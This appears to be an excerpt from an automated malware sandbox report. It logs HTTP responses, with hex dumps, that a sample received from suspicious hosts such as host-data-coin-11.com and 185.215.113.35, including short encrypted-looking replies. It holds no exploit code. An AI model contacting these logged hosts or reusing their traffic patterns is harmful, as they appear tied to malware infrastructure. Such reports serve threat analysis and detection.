64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 08:25:46 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 34 36 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f c5 86 52 06 26 1a ff b5 98 ff a9 1e ad 12 93 3a f9 55 50 99 4a f7 e0 25 e5 39 1a 46 e8 ae 88 70 bc 57 dd 43 df f9 21 87 26 ec c3 91 50 23 e4 a8 1d 63 a9 0d 0a 30 0d 0a 0d 0a Data Ascii: 46I:82OR&:UPJ%9FpWC!&P#c0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 08:25:48 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 08:25:49 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 32 39 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f c0 d7 10 55 3a 40 a9 fe c2 aa b9 01 ac 52 cc 77 f8 0f 11 91 1d f4 0d 0a 30 0d 0a 0d 0a Data Ascii: 29I:82OU:@Rw0
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: openrestyDate: Fri, 14 Jan 2022 08:25:50 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: keep-aliveVary: Accept-EncodingData Raw: 64 66 62 65 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e d0 9e d1 88 d0 b8 d0 b1 d0 ba d0 b0 20 34 30 33 30 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 62 6f 64 79 2c 68 31 2c 70 7b 70 61 64 64 69 6e 67 3a 30 3b 6d 61 72 67 69 6e 3a 30 7d 2a 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 74 79 6c 65 3a 6e 6f 72 6d 61 6c 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 7d 2e 77 72 61 70 70 65 72 2c 2e 77 72 61 70 70 65 72 20 2e 63 6f 6e 74 65 6e 74 7b 77 69 64 74 68 3a 31 30 30 25 3b 64 69 73 70 6c 61 79 3a 2d 77 65 62 6b 69 74 2d 62 6f 78 3b 64 69 73 70 6c 61 79 3a 2d 77 65 62 6b 69 74 2d 66 6c 65 78 3b 64 69 73 70 6c 61 79 3a 2d 6d 6f 7a 2d 62 6f 78 3b 64 69 73 70 6c 61 79 3a 2d 6d 73 2d 66 6c 65 78 62 6f 78 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 70 61 63 6b 3a 63 65 6e 74 65 72 3b 2d 77 65 62 6b 69 74 2d 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 63 65 6e 74 65 72 3b 2d 6d 6f 7a 2d 62 6f 78 2d 70 61 63 6b 3a 63 65 6e 74 65 72 3b 2d 6d 73 2d 66 6c 65 78 2d 70 61 63 6b 3a 63 65 6e 74 65 72 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 63 65 6e 74 65 72 7d 2e 77 72 61 70 70 65 72 20 2e 63 6f 6e 74 65 6e 74 7b 77 69 64 74 68 3a 69 6e 68 65 72 69 74 3b 6d 61 78 2d 77 69 64 74 68 3a 31 30 33 32 70 78 3b 68 65 69 67 68 74 3a 31 30 30 25 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 6f 72 69 65 6e 74 3a 68 6f 72 69 7a 6f 6e 74 61 6c 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 64 69 72 65 63 74 69 6f 6e 3a 6e 6f 72 6d 61 6c 3b 2d 77 65 62 6b 69 74 2d 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 72 6f 77 3b 2d 6d 6f 7a 2d 62 6f 78 2d 6f 72 69 65 6e 74 3a 68 6f 72 69 7a 6f 6e 74 61 6c 3b 2d 6d 6f 7a 2d 62 6f 78 2d 64 69 72 65 63 74 69 6f 6e 3a 6e 6f 72 6d 61 6c 3b 2d 6d 73 2d 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 72 6f 77 3b 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 72 6f 77 3b 70 61 64 64 69 6e 67 3a 31 32 38 70 78 20 31 36 70 78 20 30 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 2d 6d 6f 7a 2d 63 61 6c 63 28 31 30 30 76 68 20 2d 20 31 32 38 70 78 29 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 63 61 6c 63 28 31 30 30 76 68 20 2d 20 31 32 38 70 78 29 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 73 69 7a 69 6e 67 3a 63 6f 6e 74 65 6e 74 2d 62 6f 78 3b 2d 6d 6f 7a 2d 62 6f 78 2d 73 69 7a 69 6e 67 3a 63 6f 6e 74 65 6e 74 2d 62 6f 78 3b 62 6f 78 2d 73 69 7a 69
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 08:25:50 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 33 30 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad 9f 1c 4f 8e 93 54 06 65 01 f6 a3 9e fc b9 19 eb 1b db 76 f8 43 4e c7 3d c2 ec 66 b5 64 50 06 b9 0d 0a 30 0d 0a 0d 0a Data Ascii: 30I:82OTevCN=fdP0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 08:25:56 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 08:25:56 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 08:25:56 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 33 30 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad 9f 1c 4f 8e 93 54 06 65 01 f6 a3 9e fc b9 19 eb 1b db 76 f8 43 4e c7 3d c2 ec 66 b5 64 50 06 b9 0d 0a 30 0d 0a 0d 0a Data Ascii: 30I:82OTevCN=fdP0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Fri, 14 Jan 2022 08:26:00 GMTContent-Type: text/html; charset=iso-8859-1Content-Length: 276Connection: keep-aliveData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 31 38 35 2e 32 31 35 2e 31 31 33 2e 33 35 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at 185.215.113.35 Port 80</address></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 08:26:02 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 08:26:02 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 34 36 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f c5 86 52 06 26 1a ff b5 98 ff a9 1e ad 12 93 3a f9 55 50 99 4a f7 e0 25 e5 39 1a 48 e5 af 8d 70 bc 57 dd 40 d6 f6 2e 84 2a e8 c3 90 53 2e ef a8 1d 63 a9 0d 0a 30 0d 0a 0d 0a Data Ascii: 46I:82OR&:UPJ%9HpW@.*S.c0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 08:26:07 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 08:26:07 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 34 36 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f c5 86 52 06 26 1a ff b5 98 ff a9 1e ad 12 93 3a f9 55 50 99 4a f7 e0 25 e5 39 1a 49 eb ab 85 70 bc 57 dd 40 d7 fe 26 83 22 eb c3 93 58 28 e3 a8 1d 63 a9 0d 0a 30 0d 0a 0d 0a Data Ascii: 46I:82OR&:UPJ%9IpW@&"X(c0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 08:26:10 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 08:26:10 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 32 39 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f c0 d7 10 55 3a 40 a9 fe c2 aa b9 01 ac 52 cc 77 f8 01 11 91 1d f4 0d 0a 30 0d 0a 0d 0a Data Ascii: 29I:82OU:@Rw0
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: openrestyDate: Fri, 14 Jan 2022 08:26:10 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: keep-aliveVary: Accept-EncodingData Raw: 64 66 62 65 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e d0 9e d1 88 d0 b8 d0 b1 d0 ba d0 b0 20 34 30 33 30 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 62 6f 64 79 2c 68 31 2c 70 7b 70 61 64 64 69 6e 67 3a 30 3b 6d 61 72 67 69 6e 3a 30 7d 2a 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 74 79 6c 65 3a 6e 6f 72 6d 61 6c 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 7d 2e 77 72 61 70 70 65 72 2c 2e 77 72 61 70 70 65 72 20 2e 63 6f 6e 74 65 6e 74 7b 77 69 64 74 68 3a 31 30 30 25 3b 64 69 73 70 6c 61 79 3a 2d 77 65 62 6b 69 74 2d 62 6f 78 3b 64 69 73 70 6c 61 79 3a 2d 77 65 62 6b 69 74 2d 66 6c 65 78 3b 64 69 73 70 6c 61 79 3a 2d 6d 6f 7a 2d 62 6f 78 3b 64 69 73 70 6c 61 79 3a 2d 6d 73 2d 66 6c 65 78 62 6f 78 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 2d 77 65 62 6b 